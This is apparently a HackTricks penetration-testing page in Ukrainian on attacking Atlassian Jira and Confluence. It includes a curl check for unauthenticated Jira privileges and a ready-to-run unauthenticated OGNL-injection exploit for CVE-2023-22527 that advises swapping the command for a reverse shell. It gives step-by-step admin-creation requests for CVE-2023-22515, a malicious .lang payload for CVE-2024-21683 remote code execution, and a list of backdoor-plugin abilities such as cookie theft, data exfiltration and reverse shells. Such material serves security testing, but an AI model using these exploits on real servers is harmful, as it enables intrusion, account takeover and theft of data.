Jira & Confluence
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Перевірка привілеїв
У Jira привілеї можна перевірити будь-яким користувачем, авторизованим або ні, через кінцеві точки /rest/api/2/mypermissions або /rest/api/3/mypermissions. Ці кінцеві точки показують поточні привілеї користувача. Особливу увагу слід звернути, якщо неавторизовані користувачі мають привілеї, що вказує на вразливість безпеки, яка потенційно може підпадати під bounty. Аналогічно, неочікувані привілеї для авторизованих користувачів також вказують на вразливість.
Важливе оновлення було зроблено 1st February 2019, яке вимагає, щоб ‘mypermissions’ endpoint включав параметр ‘permission’. Ця вимога має на меті посилити безпеку шляхом уточнення привілеїв, які запитуються: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Приклад: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Автоматизований збір інформації
Останні RCE та практичні нотатки щодо експлойтів (Confluence)
CVE-2023-22527 – неавторизована вразливість у шаблоні / OGNL injection (10.0)
- Стосується Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Уразливий Velocity-шаблон
text-inline.vmдозволяє виконувати OGNL evaluation без аутентифікації. - Швидкий PoC (команда виконується від імені користувача Confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Заголовок відповіді
x-cmdміститиме вивід команди. Замінітьidна reverse shell payload. - Scanner: nuclei template
http/cves/2023/CVE-2023-22527.yaml(включено в nuclei-templates ≥9.7.5).
CVE-2023-22515 – повторна активація setup і створення admin (auth bypass)
- Публічно доступний Confluence Data Center/Server 8.0.0–8.5.1 дозволяє змінити
setupCompleteі повторно виконати/setup/setupadministrator.actionдля створення нового облікового запису admin. - Мінімальний сценарій експлуатації:
GET /server-info.action(без автентифікації) для перевірки досяжності.POST /server-info.actionз параметрамиbuildNumberдля перемикання прапораsetupComplete.POST /setup/setupadministrator.actionзfullName,email,username,password,confirmдля створення admin.
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Confluence Admin може завантажити спеціально підготовлене language definition у Configure Code Macro; Rhino engine виконує вбудований Java-код, що призводить до RCE.
- Для shell завантажте файл
.lang, що містить payload на кшталт:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Тригер: обрання шкідливої мови в тілі будь-якого Code Macro. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683автоматизує auth + upload + exec.
Atlasian Plugins
Як вказано в цьому blog, у документації про Plugin modules ↗ можна переглянути різні типи плагінів, такі як:
- REST Plugin Module ↗: Публікує RESTful API endpoints
- Servlet Plugin Module ↗: Розгортає Java сервлети як частину плагіна
- Macro Plugin Module ↗: Реалізує Confluence Macros, тобто параметризовані HTML-шаблони
Це приклад плагіна типу Macro plugin:
Приклад Macro plugin
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Можна помітити, що ці плагіни можуть бути вразливими до поширених веб-уразливостей, таких як XSS. Наприклад, попередній приклад вразливий, оскільки він відображає дані, введені користувачем.
Після виявлення XSS, у [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) можна знайти деякі payloads, щоб підвищити вплив XSS.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) описує різні (malicious) дії, які може виконувати зловмисний Jira плагін. Ви можете знайти [**code example in this repo**](https://github.com/cyllective/malfluence).
These are some of the actions a malicious plugin could perform:
- **Hiding Plugins from Admins**: Можна приховати зловмисний плагін, інжектуючи деякий front-end javascript
- **Exfiltrating Attachments and Pages**: Дозволяє отримати доступ і exfiltrate всі дані.
- **Stealing Session Tokens**: Додати endpoint, який повертатиме заголовки у відповіді (з cookie), і деякий javascript, який зв'яжеться з ним і leak the cookies.
- **Command Execution**: Звісно, можна створити плагін, який виконуватиме код.
- **Reverse Shell**: Або отримати reverse shell.
- **DOM Proxying**: Якщо confluence знаходиться в приватній мережі, можна встановити з'єднання через браузер користувача з доступом до нього і, наприклад, контактувати з сервером та виконувати команди через нього.
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>


